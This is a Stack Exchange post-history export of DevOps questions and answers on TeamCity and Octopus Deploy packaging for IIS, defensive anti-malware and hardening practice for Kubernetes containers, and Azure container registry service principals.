  <row Id="29087" PostHistoryTypeId="2" PostId="9727" RevisionGUID="4445ce87-6535-4257-820e-6afc42a497b9" CreationDate="2019-11-07T17:29:33.250" UserId="397" Text="Have you considered [CDNjs.com][1]:&#xD;&#xA;&#xD;&#xA; - It supports CORS headers, it is dedicated to JavaScript after all.&#xD;&#xA; - It supports HTTP/2 as well as SPDY.&#xD;&#xA; - The cache duration is 355 days, which is probably plenty long enough.&#xD;&#xA; - Cloudflare is used as the CDN, they provide it to cdnjs.org for free.&#xD;&#xA;&#xD;&#xA;Adding your library is a bit more than a one-liner unfortunately as you need to submit a pull request to their GitHub repository.  You will also need to have a certain popularity requirement:&#xD;&#xA;&#xD;&#xA;&gt; For the new library request issue, please make sure it's not a personal project, we have a basic requirement for the popularity, like 200 stars on GitHub or 800 downloads/month on npm registry.&#xD;&#xA;&#xD;&#xA;  [1]: https://cdnjs.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29088" PostHistoryTypeId="5" PostId="9726" RevisionGUID="0f3b6473-5cf0-4903-bb66-a7d20a49f9a0" CreationDate="2019-11-07T17:31:29.997" UserId="8164" Comment="Added information about the environments and solution." Text="I'm tasked with setting up CI/CD for my company. I'm using TeamCity which I have configured using the Octopus Deploy plugin to create a Nuget package to the appropriate dev server (alternatively, I can have TeamCity spit out a .zip). &#xD;&#xA;&#xD;&#xA;The package itself is a solution that contains several projects, and each project needs to be deployed to different folders on IIS. Is this something that I can accomplish with Octopus Deploy, and if so how? &#xD;&#xA;&#xD;&#xA;I've looked through the documentation and spent a lot of time Googling but I haven't found an example of someone doing this but I want to use Octopush Deploy because of the reporting and flexibility it provides (since I will need to set up pipelines to other environments in the future).&#xD;&#xA;&#xD;&#xA;Information about the solution and environment:&#xD;&#xA;Multi-project solution&#xD;&#xA;.NET Framework 4.6.1&#xD;&#xA;IIS version 6.2&#xD;&#xA;Windows Server 2012 R2&#xD;&#xA;Octopus Deploy v6.0 on-site&#xD;&#xA;TeamCity Professional 2019.1.1 (build 66192)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any assistance provided or links to resources is deeply appreciated.&#xD;&#xA;&#xD;&#xA;Kind regards." ContentLicense="CC BY-SA 4.0" />
  <row Id="29089" PostHistoryTypeId="2" PostId="9728" RevisionGUID="06d39131-ff40-43a8-ac06-9d9708e6365d" CreationDate="2019-11-07T17:34:07.767" UserId="397" Text="It *can* be achieved, however, you will make your life easier if you modify your TeamCity build process to create a package for each IIS Website then deploy each one individually using a [Deploy to IIS][1] step.&#xD;&#xA;&#xD;&#xA;If it's impossible to change your build process then you will need to do some pre-processing or just deploy the websites through a [custom script][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://octopus.com/docs/deployment-examples/iis-websites-and-application-pools&#xD;&#xA;  [2]: https://octopus.com/docs/deployment-examples/custom-scripts" ContentLicense="CC BY-SA 4.0" />
  <row Id="29093" PostHistoryTypeId="5" PostId="9726" RevisionGUID="8e7d0ade-299b-476c-9da3-2f902595ba69" CreationDate="2019-11-07T17:49:30.833" UserId="8164" Comment="Added image of current IIS setup" Text="I'm tasked with setting up CI/CD for my company. I'm using TeamCity which I have configured using the Octopus Deploy plugin to create a Nuget package to the appropriate dev server (alternatively, I can have TeamCity spit out a .zip). &#xD;&#xA;&#xD;&#xA;The package itself is a solution that contains several projects, and each project needs to be deployed to different folders on IIS. Is this something that I can accomplish with Octopus Deploy, and if so how? &#xD;&#xA;&#xD;&#xA;I've looked through the documentation and spent a lot of time Googling but I haven't found an example of someone doing this but I want to use Octopush Deploy because of the reporting and flexibility it provides (since I will need to set up pipelines to other environments in the future).&#xD;&#xA;&#xD;&#xA;Information about the solution and environment:&#xD;&#xA;Multi-project solution&#xD;&#xA;.NET Framework 4.6.1&#xD;&#xA;IIS version 6.2&#xD;&#xA;Windows Server 2012 R2&#xD;&#xA;Octopus Deploy v6.0 on-site&#xD;&#xA;TeamCity Professional 2019.1.1 (build 66192)&#xD;&#xA;&#xD;&#xA;The solution is currently deployed on ISS like this:&#xD;&#xA;&#xD;&#xA;[![Snippet of IIS setup of multi-project solution][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any assistance provided or links to resources is deeply appreciated.&#xD;&#xA;&#xD;&#xA;Kind regards.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OrUBo.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29094" PostHistoryTypeId="4" PostId="9726" RevisionGUID="9fe84e36-d5cc-4062-8282-cb38c5e527cc" CreationDate="2019-11-07T18:53:04.523" UserId="8164" Comment="Corrected question heading." Text="On-Site Octopus Deploy - How to deploy projects in a multi-project solution to different IIS locations" ContentLicense="CC BY-SA 4.0" />
  <row Id="29095" PostHistoryTypeId="2" PostId="9730" RevisionGUID="500dbb4f-6eac-455b-a66f-0ecddb629016" CreationDate="2019-11-07T18:56:21.927" UserId="18056" Text="One of the SOC 2 controls is apparently around ensuring antivirus/anti-spam/anti-malware is running on production servers. I've been googling to see if there are any recommendation/best practices for this in the container world. I'm not sure if it's a good practice to run AV on the host OS? Some materials I found in my Googling seem to indicate that if you do something like that, you would need to exclude the files used by the container to avoid locking up the container. Which sounds like it would defeat the purpose.&#xD;&#xA;&#xD;&#xA;In our particular case, we're running on GKE using Google's pre-made container OS. Anyone have experience with this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29096" PostHistoryTypeId="1" PostId="9730" RevisionGUID="500dbb4f-6eac-455b-a66f-0ecddb629016" CreationDate="2019-11-07T18:56:21.927" UserId="18056" Text="What are the best practices for anti-virus / anti-malware when using containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29097" PostHistoryTypeId="3" PostId="9730" RevisionGUID="500dbb4f-6eac-455b-a66f-0ecddb629016" CreationDate="2019-11-07T18:56:21.927" UserId="18056" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29098" PostHistoryTypeId="6" PostId="9730" RevisionGUID="362b8b8f-77f1-448d-a8ce-574e00f6f22c" CreationDate="2019-11-07T19:17:28.480" UserId="397" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;containers&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29099" PostHistoryTypeId="2" PostId="9731" RevisionGUID="78b29d80-3f83-4b51-804c-c40c55e977d7" CreationDate="2019-11-07T19:48:17.873" UserId="8164" Text="I have a multi-project .NET solution that I'm trying to set-up with TeamCity (TC) for CI and Octopus Deploy (OD) for CD.&#xD;&#xA;&#xD;&#xA;I originally set-up TC to pull the latest from SVC, build the solution and deploy it as a .zip on the Dev server, but I've been having issues trying to deploy the solution to IIS with OP. I was informed that I should instead have TC take the solution and create multiple packages from it for OP to pick-up. I currently don't know how to do this.&#xD;&#xA;&#xD;&#xA;I have the following build steps:&#xD;&#xA;&#xD;&#xA;[![Current build steps set in TC][1]][1]&#xD;&#xA;&#xD;&#xA;And I have this in my General Settings Publish Artifact settings:&#xD;&#xA;&#xD;&#xA;[![General Settings Publish Artifact settings][2]][2]&#xD;&#xA;&#xD;&#xA;I have manually deployed the solution in IIS, below is how it needs to deploy in IIS:&#xD;&#xA;&#xD;&#xA;[![Manually deployed IIS setup][3]][3]&#xD;&#xA;&#xD;&#xA;The root site is a .NET project using MVC that communicates, hubs is a Signal-R project and API has the repository project and services project under it. So essentially The root website is a client, it communicates can only see API and hubs and any communication to the repository project would go through the API project first, it's supposed to be using a service-orientated architecture.&#xD;&#xA;&#xD;&#xA;The goal is that TC should spit out 3 packages, one for the root website, one for the Signal-R project and one for the API which holds several projects but all projects are entirely in a single solution and this isn't something that I can get around for the time being. Once TC can do that I will need to set-up OD to deploy each of those packages to their required locations (which should hopefully be pretty simple).&#xD;&#xA;&#xD;&#xA;Any information/assistance with this is greatly appreciated as I do not have a Dev-Ops background and this is the first time I've had to set-up this kind of a project with TeamCity.&#xD;&#xA;&#xD;&#xA;Kind regards.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Ja3sQ.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/NUdwy.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/wWkV8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29100" PostHistoryTypeId="1" PostId="9731" RevisionGUID="78b29d80-3f83-4b51-804c-c40c55e977d7" CreationDate="2019-11-07T19:48:17.873" UserId="8164" Text="TeamCity - CI w/ Multi-project .NET solution using SOA build and delivery issues" ContentLicense="CC BY-SA 4.0" />
  <row Id="29101" PostHistoryTypeId="3" PostId="9731" RevisionGUID="78b29d80-3f83-4b51-804c-c40c55e977d7" CreationDate="2019-11-07T19:48:17.873" UserId="8164" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29102" PostHistoryTypeId="2" PostId="9732" RevisionGUID="0d5e1dcc-4768-449d-a2b2-8c90aa732562" CreationDate="2019-11-07T19:51:19.653" UserId="397" Text="This is an area where you will need to talk directly to and potentially help educate your auditors.  What you have to remember is they are responsible for ensuring that **adequate controls** are applied, not specifically that &quot;Production Servers have Endpoint Protection&quot;.&#xD;&#xA;&#xD;&#xA;As a bit of a starter for ten, you could consider the following:&#xD;&#xA;&#xD;&#xA; - In traditional environments, developer and administrator workstations would have Anti-virus and Anti-malware products installed, therefore any code that a developer creates and an administrator deploys will have been subject to routine automatic scans.  It's easy to forget that the same controls need to be applied to our automated pipelines, one option would be to scan both source code and artefacts [with ClamAV][1] or a commercial antivirus product.&#xD;&#xA;  - [Trivy][2] - not anti-virus but does offer vulnerability scanning so controls against malware entering via an upstream 3rd party.&#xD;&#xA;  - [Anchore][3]&#xD;&#xA;  - [Clair][4]&#xD;&#xA; - One of the best practices for container development is reducing the attack surface area by maintaining a minimal base image.  For example, removing any non-essential components such as shells, network utilities, grep, awk, etc.&#xD;&#xA; - If you manage your own Kubernetes masters and nodes then you should employ endpoint protection, although if you use Hosted Kubernetes, i.e. Google Kubernetes Engine or Azure Kubernetes Service, you need to [jump through some hoops][5] to get it working.  As you've probably already seen there is some basic advice on what to avoid, and you need to understand the limitations of the scanning engine - namely it can't see *into* containers.&#xD;&#xA;  - [Docker Anti-virus Exclusions][6] - remember Kubernetes is using ContainerD&#xD;&#xA;  - [Kubernetes ClamAV][7]&#xD;&#xA;  - [Sysdig Falco][8]&#xD;&#xA;  - [Carbon Black][9]&#xD;&#xA; - There are a small but growing number of &quot;hot&quot; container endpoint protection tools, it's fairly nascent so explore your options carefully:&#xD;&#xA;  - [Dagda][10]&#xD;&#xA;  - [OpenSCAP][11]&#xD;&#xA;  - [Sysdig Falco][12]&#xD;&#xA;&#xD;&#xA;  [1]: https://www.clamav.net/&#xD;&#xA;  [2]: https://github.com/aquasecurity/trivy&#xD;&#xA;  [3]: https://anchore.com/&#xD;&#xA;  [4]: https://github.com/coreos/clair&#xD;&#xA;  [5]: https://cloud.google.com/solutions/installing-antivirus-and-file-integrity-monitoring-on-container-optimized-os&#xD;&#xA;  [6]: https://docs.docker.com/engine/security/antivirus/&#xD;&#xA;  [7]: https://cloud.google.com/community/tutorials/gcp-cos-clamav&#xD;&#xA;  [8]: https://github.com/draios/falco/wiki/How-to-Install-Falco-for-Linux&#xD;&#xA;  [9]: https://www.globenewswire.com/news-release/2019/06/25/1873863/0/en/Carbon-Black-Adds-Cloud-Workload-and-Container-Protection-to-Its-Cloud-Native-Endpoint-Protection-Platform-EPP.html&#xD;&#xA;  [10]: https://github.com/eliasgranderubio/dagda/&#xD;&#xA;  [11]: https://github.com/OpenSCAP&#xD;&#xA;  [12]: https://github.com/draios/falco/wiki/How-to-Install-Falco-using-Containers-and-or-Orchestration" ContentLicense="CC BY-SA 4.0" />
  <row Id="29103" PostHistoryTypeId="5" PostId="9731" RevisionGUID="1d97f4b7-6ca5-48ec-97ca-8f2a92d6a8c4" CreationDate="2019-11-07T20:01:18.723" UserId="8164" Comment="Added information on what the solution looks like loaded up in Visual Studio to give better context." Text="I have a multi-project .NET solution that I'm trying to set-up with TeamCity (TC) for CI and Octopus Deploy (OD) for CD.&#xD;&#xA;&#xD;&#xA;I originally set-up TC to pull the latest from SVC, build the solution and deploy it as a .zip on the Dev server, but I've been having issues trying to deploy the solution to IIS with OP. I was informed that I should instead have TC take the solution and create multiple packages from it for OP to pick-up. I currently don't know how to do this.&#xD;&#xA;&#xD;&#xA;I have the following build steps:&#xD;&#xA;&#xD;&#xA;[![Current build steps set in TC][1]][1]&#xD;&#xA;&#xD;&#xA;And I have this in my General Settings Publish Artifact settings:&#xD;&#xA;&#xD;&#xA;[![General Settings Publish Artifact settings][2]][2]&#xD;&#xA;&#xD;&#xA;Visual Studio solution set-up (Blue shows the projects that make up the entire application we want to deploy. Green boxed will be the separate packages, BLL, Services and Repository because of project dependency get rolled up into the API project.):&#xD;&#xA;&#xD;&#xA;[![Solution loaded in Visual Studio][3]][3]&#xD;&#xA;&#xD;&#xA;I have manually deployed the solution in IIS, below is how it needs to deploy in IIS:&#xD;&#xA;&#xD;&#xA;[![Manually deployed IIS setup][4]][4]&#xD;&#xA;&#xD;&#xA;The root site is a .NET project using MVC that communicates, hubs is a Signal-R project and API has the repository project and services project under it. So essentially The root website is a client, it communicates can only see API and hubs and any communication to the repository project would go through the API project first, it's supposed to be using a service-orientated architecture.&#xD;&#xA;&#xD;&#xA;The goal is that TC should spit out 3 packages, one for the root website, one for the Signal-R project and one for the API which holds several projects but all projects are entirely in a single solution and this isn't something that I can get around for the time being. Once TC can do that I will need to set-up OD to deploy each of those packages to their required locations (which should hopefully be pretty simple).&#xD;&#xA;&#xD;&#xA;Any information/assistance with this is greatly appreciated as I do not have a Dev-Ops background and this is the first time I've had to set-up this kind of a project with TeamCity.&#xD;&#xA;&#xD;&#xA;Kind regards.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Ja3sQ.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/NUdwy.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/glWJv.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/wWkV8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29104" PostHistoryTypeId="5" PostId="9732" RevisionGUID="b374cd6b-7236-43c1-8fe5-ac86fcdcc917" CreationDate="2019-11-07T20:13:54.850" UserId="397" Comment="Add integrity checking, IaC and SIEM." Text="This is an area where you will need to talk directly to and potentially help educate your auditors.  What you have to remember is they are responsible for ensuring that **adequate controls** are applied, not specifically that &quot;Production Servers have Endpoint Protection&quot;; Anti-virus and Anti-malware are among some of the most basic controls applied to technology.&#xD;&#xA;&#xD;&#xA;As a bit of a starter for ten, you could consider the following:&#xD;&#xA;&#xD;&#xA; - **Secure Software Development Lifecycle (S-SDLC)**: In traditional environments, developer and administrator workstations would have Anti-virus and Anti-malware products installed, therefore any code that a developer creates and an administrator deploys will have been subject to routine automatic scans.  It's easy to forget that the same controls need to be applied to our automated pipelines, one option would be to scan both source code and artefacts [with ClamAV][1] or a commercial antivirus product.&#xD;&#xA;  - [Trivy][2] - not anti-virus but does offer vulnerability scanning so controls against malware entering via an upstream 3rd party.&#xD;&#xA;  - [Anchore][3]&#xD;&#xA;  - [Clair][4]&#xD;&#xA; - One of the best practices for container development is **reducing the attack surface area** by maintaining a minimal base image.  For example, removing any non-essential components such as shells, network utilities, grep, awk, etc.&#xD;&#xA; - If you manage your own Kubernetes masters and nodes then you should **use endpoint protection on hosts**, although if you use Hosted Kubernetes, i.e. Google Kubernetes Engine or Azure Kubernetes Service, you need to [jump through some hoops][5] to get it working.  As you've probably already seen there is some basic advice on what to avoid, and you need to understand the limitations of the scanning engine - namely it can't see *into* containers.&#xD;&#xA;  - [Docker Anti-virus Exclusions][6] - remember Kubernetes is using ContainerD&#xD;&#xA;  - [Kubernetes ClamAV][7]&#xD;&#xA;  - [Sysdig Falco][8]&#xD;&#xA;  - [Carbon Black][9]&#xD;&#xA; - Equally, masters and nodes should be **[leveraging SELinux][10]** as a Mandatory Access Control security mechanism.&#xD;&#xA; - There are a small but growing number of &quot;hot&quot; **container endpoint protection tools**, it's fairly nascent so explore your options carefully:&#xD;&#xA;  - [Dagda][11]&#xD;&#xA;  - [OpenSCAP][12]&#xD;&#xA;  - [Sysdig Falco][13]&#xD;&#xA; - **Integrity Checking** is very important as whilst it isn't anti-malware per se, it is a component part of most anti-malware packages so might just give you the signal you need to know that something is wrong:&#xD;&#xA;  - [images should be signed][14], and Kubernetes should be [configured][15] to only use images signed by a trusted party.&#xD;&#xA;  - hosts should absolutely employ File Integrity Monitoring with [something like twistlock][16].&#xD;&#xA;  - equally, file integrity monitoring [within the container][17] itself can be valuable.&#xD;&#xA; - Finally, remember &quot;Infrastructure as Code&quot; if you can destroy all of your infrastructures and rebuild it from scratch automatically it makes it **significantly easier** to recover from a compromise.  This is a tough sell with an auditor.&#xD;&#xA;&#xD;&#xA;If you implement everything above, you will quickly find you run into information overload - this is where a Security Information and Event Management (SIEM) tool can help bring everything together in a single pane of glass.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.clamav.net/&#xD;&#xA;  [2]: https://github.com/aquasecurity/trivy&#xD;&#xA;  [3]: https://anchore.com/&#xD;&#xA;  [4]: https://github.com/coreos/clair&#xD;&#xA;  [5]: https://cloud.google.com/solutions/installing-antivirus-and-file-integrity-monitoring-on-container-optimized-os&#xD;&#xA;  [6]: https://docs.docker.com/engine/security/antivirus/&#xD;&#xA;  [7]: https://cloud.google.com/community/tutorials/gcp-cos-clamav&#xD;&#xA;  [8]: https://github.com/draios/falco/wiki/How-to-Install-Falco-for-Linux&#xD;&#xA;  [9]: https://www.globenewswire.com/news-release/2019/06/25/1873863/0/en/Carbon-Black-Adds-Cloud-Workload-and-Container-Protection-to-Its-Cloud-Native-Endpoint-Protection-Platform-EPP.html&#xD;&#xA;  [10]: https://wiki.centos.org/HowTos/SELinux&#xD;&#xA;  [11]: https://github.com/eliasgranderubio/dagda/&#xD;&#xA;  [12]: https://github.com/OpenSCAP&#xD;&#xA;  [13]: https://github.com/draios/falco/wiki/How-to-Install-Falco-using-Containers-and-or-Orchestration&#xD;&#xA;  [14]: https://docs.docker.com/v17.09/datacenter/dtr/2.2/guides/user/manage-images/sign-images/&#xD;&#xA;  [15]: https://www.docker.com/blog/secure-supply-chain-for-kubernetes-part-2/&#xD;&#xA;  [16]: https://www.twistlock.com/2019/03/05/file-integrity-monitoring-securing-hosts/&#xD;&#xA;  [17]: https://clustergarage.io/argus/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29105" PostHistoryTypeId="5" PostId="9732" RevisionGUID="ff595fdb-051d-462b-97dc-1d994e9753ff" CreationDate="2019-11-07T20:23:27.713" UserId="397" Comment="Add CIS and STIG hardening to hosts and containers." Text="This is an area where you will need to talk directly to and potentially help educate your auditors.  What you have to remember is they are responsible for ensuring that **adequate controls** are applied, not specifically that &quot;Production Servers have Endpoint Protection&quot;; Anti-virus and Anti-malware are among some of the most basic controls applied to technology.&#xD;&#xA;&#xD;&#xA;As a bit of a starter for ten, you could consider the following:&#xD;&#xA;&#xD;&#xA; - **Secure Software Development Lifecycle (S-SDLC)**: In traditional environments, developer and administrator workstations would have Anti-virus and Anti-malware products installed, therefore any code that a developer creates and an administrator deploys will have been subject to routine automatic scans.  It's easy to forget that the same controls need to be applied to our automated pipelines, one option would be to scan both source code and artefacts [with ClamAV][1] or a commercial antivirus product.&#xD;&#xA;  - [Trivy][2] - not anti-virus but does offer vulnerability scanning so controls against malware entering via an upstream 3rd party.&#xD;&#xA;  - [Anchore][3]&#xD;&#xA;  - [Clair][4]&#xD;&#xA; - One of the best practices for container development is **reducing the attack surface area** by maintaining a hardened and minimal base image.  For example, removing any non-essential components such as shells, network utilities, and text editors.  Utilising a pre-hardened image such as the [CIS Images][5] and applying &#xD;&#xA; - If you manage your own Kubernetes masters and nodes then you should **use endpoint protection on hosts**, although if you use Hosted Kubernetes, i.e. Google Kubernetes Engine or Azure Kubernetes Service, you need to [jump through some hoops][6] to get it working.  As you've probably already seen there is some basic advice on what to avoid, and you need to understand the limitations of the scanning engine - namely it can't see *into* containers.&#xD;&#xA;  - [Docker Anti-virus Exclusions][7] - remember Kubernetes is using ContainerD&#xD;&#xA;  - [Kubernetes ClamAV][8]&#xD;&#xA;  - [Sysdig Falco][9]&#xD;&#xA;  - [Carbon Black][10]&#xD;&#xA; - Equally, masters and nodes should be **[leveraging SELinux][11]** as a Mandatory Access Control security mechanism and generally have the relevant [CIS][12] or [STIG][13] benchmarks applied to them.&#xD;&#xA; - There are a small but growing number of &quot;hot&quot; **container endpoint protection tools**, it's fairly nascent so explore your options carefully:&#xD;&#xA;  - [Dagda][14]&#xD;&#xA;  - [OpenSCAP][15]&#xD;&#xA;  - [Sysdig Falco][16]&#xD;&#xA; - **Integrity Checking** is very important as whilst it isn't anti-malware per se, it is a component part of most anti-malware packages so might just give you the signal you need to know that something is wrong:&#xD;&#xA;  - [images should be signed][17], and Kubernetes should be [configured][18] to only use images signed by a trusted party.&#xD;&#xA;  - hosts should absolutely employ File Integrity Monitoring with [something like twistlock][19].&#xD;&#xA;  - equally, file integrity monitoring [within the container][20] itself can be valuable.&#xD;&#xA; - Finally, remember &quot;Infrastructure as Code&quot; if you can destroy all of your infrastructures and rebuild it from scratch automatically it makes it **significantly easier** to recover from a compromise.  This is a tough sell with an auditor.&#xD;&#xA;&#xD;&#xA;If you implement everything above, you will quickly find you run into information overload - this is where a Security Information and Event Management (SIEM) tool can help bring everything together in a single pane of glass.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.clamav.net/&#xD;&#xA;  [2]: https://github.com/aquasecurity/trivy&#xD;&#xA;  [3]: https://anchore.com/&#xD;&#xA;  [4]: https://github.com/coreos/clair&#xD;&#xA;  [5]: https://www.cisecurity.org/press-release/cis-introduces-hardened-container-image-with-amazon/&#xD;&#xA;  [6]: https://cloud.google.com/solutions/installing-antivirus-and-file-integrity-monitoring-on-container-optimized-os&#xD;&#xA;  [7]: https://docs.docker.com/engine/security/antivirus/&#xD;&#xA;  [8]: https://cloud.google.com/community/tutorials/gcp-cos-clamav&#xD;&#xA;  [9]: https://github.com/draios/falco/wiki/How-to-Install-Falco-for-Linux&#xD;&#xA;  [10]: https://www.globenewswire.com/news-release/2019/06/25/1873863/0/en/Carbon-Black-Adds-Cloud-Workload-and-Container-Protection-to-Its-Cloud-Native-Endpoint-Protection-Platform-EPP.html&#xD;&#xA;  [11]: https://wiki.centos.org/HowTos/SELinux&#xD;&#xA;  [12]: https://docs.docker.com/v17.09/compliance/cis/&#xD;&#xA;  [13]: https://public.cyber.mil/stigs/&#xD;&#xA;  [14]: https://github.com/eliasgranderubio/dagda/&#xD;&#xA;  [15]: https://github.com/OpenSCAP&#xD;&#xA;  [16]: https://github.com/draios/falco/wiki/How-to-Install-Falco-using-Containers-and-or-Orchestration&#xD;&#xA;  [17]: https://docs.docker.com/v17.09/datacenter/dtr/2.2/guides/user/manage-images/sign-images/&#xD;&#xA;  [18]: https://www.docker.com/blog/secure-supply-chain-for-kubernetes-part-2/&#xD;&#xA;  [19]: https://www.twistlock.com/2019/03/05/file-integrity-monitoring-securing-hosts/&#xD;&#xA;  [20]: https://clustergarage.io/argus/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29106" PostHistoryTypeId="5" PostId="9732" RevisionGUID="eaa62b2a-21f3-4d97-9927-e913ab173c39" CreationDate="2019-11-07T20:37:56.387" UserId="397" Comment="backed off on some of the advice, should be risk-centric not automatic" Text="This is an area where you will need to talk directly to and potentially help educate your auditors.  What you have to remember is they are responsible for ensuring that **adequate controls** are applied, not specifically that &quot;Production Servers have Endpoint Protection&quot;; Anti-virus and Anti-malware are among some of the most basic controls applied to technology.&#xD;&#xA;&#xD;&#xA;As a bit of a starter for ten, you could consider the following:&#xD;&#xA;&#xD;&#xA; - **Secure Software Development Lifecycle (S-SDLC)**: In traditional environments, developer and administrator workstations would have Anti-virus and Anti-malware products installed, therefore any code that a developer creates and an administrator deploys will have been subject to routine automatic scans.  It's easy to forget that the same controls need to be applied to our automated pipelines, one option would be to scan both source code and artefacts [with ClamAV][1] or a commercial antivirus product.&#xD;&#xA;  - [Trivy][2] - not anti-virus but does offer vulnerability scanning so controls against malware entering via an upstream 3rd party.&#xD;&#xA;  - [Anchore][3]&#xD;&#xA;  - [Clair][4]&#xD;&#xA; - One of the best practices for container development is **reducing the attack surface area** by maintaining a hardened and minimal base image.  For example, removing any non-essential components such as shells, network utilities, and text editors.  Utilising a pre-hardened image such as the [CIS Images][5] and applying &#xD;&#xA; - If you manage your own Kubernetes masters and nodes then you should consider the attack vectors against that host **use endpoint protection to mitigate**, although if you use Hosted Kubernetes, i.e. Google Kubernetes Engine or Azure Kubernetes Service, you need to [jump through some hoops][6] to get it working.  As you've probably already seen there is some basic advice on what to avoid, and you need to understand the limitations of the scanning engine - namely it can't see *into* containers.&#xD;&#xA;  - [Docker Anti-virus Exclusions][7] - remember Kubernetes is using ContainerD&#xD;&#xA;  - [Kubernetes ClamAV][8]&#xD;&#xA;  - [Sysdig Falco][9]&#xD;&#xA;  - [Carbon Black][10]&#xD;&#xA; - Equally, masters and nodes should be **[leveraging SELinux][11]** as a Mandatory Access Control security mechanism and generally have the relevant [CIS][12] or [STIG][13] benchmarks applied to them.&#xD;&#xA; - There are a small but growing number of &quot;hot&quot; **container endpoint protection tools**, it's fairly nascent so explore your options carefully:&#xD;&#xA;  - [Dagda][14]&#xD;&#xA;  - [OpenSCAP][15]&#xD;&#xA;  - [Sysdig Falco][16]&#xD;&#xA; - **Integrity Checking** is very important as whilst it isn't anti-malware per se, it is a component part of most anti-malware packages so might just give you the signal you need to know that something is wrong:&#xD;&#xA;  - [images should be signed][17], and Kubernetes should be [configured][18] to only use images signed by a trusted party.&#xD;&#xA;  - hosts should absolutely employ File Integrity Monitoring with [something like twistlock][19].&#xD;&#xA;  - equally, file integrity monitoring [within the container][20] itself can be valuable.&#xD;&#xA; - Finally, remember &quot;Infrastructure as Code&quot; if you can destroy all of your infrastructures and rebuild it from scratch automatically it makes it **significantly easier** to recover from a compromise.  This is a tough sell with an auditor.&#xD;&#xA;&#xD;&#xA;If you implement everything above, you will quickly find you run into information overload - this is where a Security Information and Event Management (SIEM) tool can help bring everything together in a single pane of glass.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.clamav.net/&#xD;&#xA;  [2]: https://github.com/aquasecurity/trivy&#xD;&#xA;  [3]: https://anchore.com/&#xD;&#xA;  [4]: https://github.com/coreos/clair&#xD;&#xA;  [5]: https://www.cisecurity.org/press-release/cis-introduces-hardened-container-image-with-amazon/&#xD;&#xA;  [6]: https://cloud.google.com/solutions/installing-antivirus-and-file-integrity-monitoring-on-container-optimized-os&#xD;&#xA;  [7]: https://docs.docker.com/engine/security/antivirus/&#xD;&#xA;  [8]: https://cloud.google.com/community/tutorials/gcp-cos-clamav&#xD;&#xA;  [9]: https://github.com/draios/falco/wiki/How-to-Install-Falco-for-Linux&#xD;&#xA;  [10]: https://www.globenewswire.com/news-release/2019/06/25/1873863/0/en/Carbon-Black-Adds-Cloud-Workload-and-Container-Protection-to-Its-Cloud-Native-Endpoint-Protection-Platform-EPP.html&#xD;&#xA;  [11]: https://wiki.centos.org/HowTos/SELinux&#xD;&#xA;  [12]: https://docs.docker.com/v17.09/compliance/cis/&#xD;&#xA;  [13]: https://public.cyber.mil/stigs/&#xD;&#xA;  [14]: https://github.com/eliasgranderubio/dagda/&#xD;&#xA;  [15]: https://github.com/OpenSCAP&#xD;&#xA;  [16]: https://github.com/draios/falco/wiki/How-to-Install-Falco-using-Containers-and-or-Orchestration&#xD;&#xA;  [17]: https://docs.docker.com/v17.09/datacenter/dtr/2.2/guides/user/manage-images/sign-images/&#xD;&#xA;  [18]: https://www.docker.com/blog/secure-supply-chain-for-kubernetes-part-2/&#xD;&#xA;  [19]: https://www.twistlock.com/2019/03/05/file-integrity-monitoring-securing-hosts/&#xD;&#xA;  [20]: https://clustergarage.io/argus/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29107" PostHistoryTypeId="2" PostId="9733" RevisionGUID="453d8b81-64c2-4477-a001-76463fd1b989" CreationDate="2019-11-07T20:57:41.033" UserId="397" Text="There is a balancing act here between the simplicity and maintainability of your solution, and how auditable creating separate service principals or users for each of your external customers.  I suspect only you can actually decide which is the best practice in your specific legal and regulatory situation.&#xD;&#xA;&#xD;&#xA;On the **side of having a single Service Principal** with multiple passwords, there is a minimal amount of configuration required and other than perhaps limitations imposed by Microsoft on the number of authentications per second or the number of passwords that can be created for a Service Principal it should work quite nicely.  The downside is your [resource logs][1] won't give you any information about who pulls images, you will have some logs about issuing a short-lived password, but you can't prove that's related to a `docker login`.&#xD;&#xA;&#xD;&#xA;On the side of **creating a Service Principal per client** means your [resource logs][1] will tell you who pulls images.  However, you will need to automate the creation and maintenance of those Service Principals to account for clients joining and leaving.&#xD;&#xA;&#xD;&#xA;***Why*** does it matter? it may not for you, however if one of your customer's machines was compromised and the images leaked onto the internet you may want to hold one of the customers to account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/container-registry/container-registry-diagnostics-audit-logs" ContentLicense="CC BY-SA 4.0" />
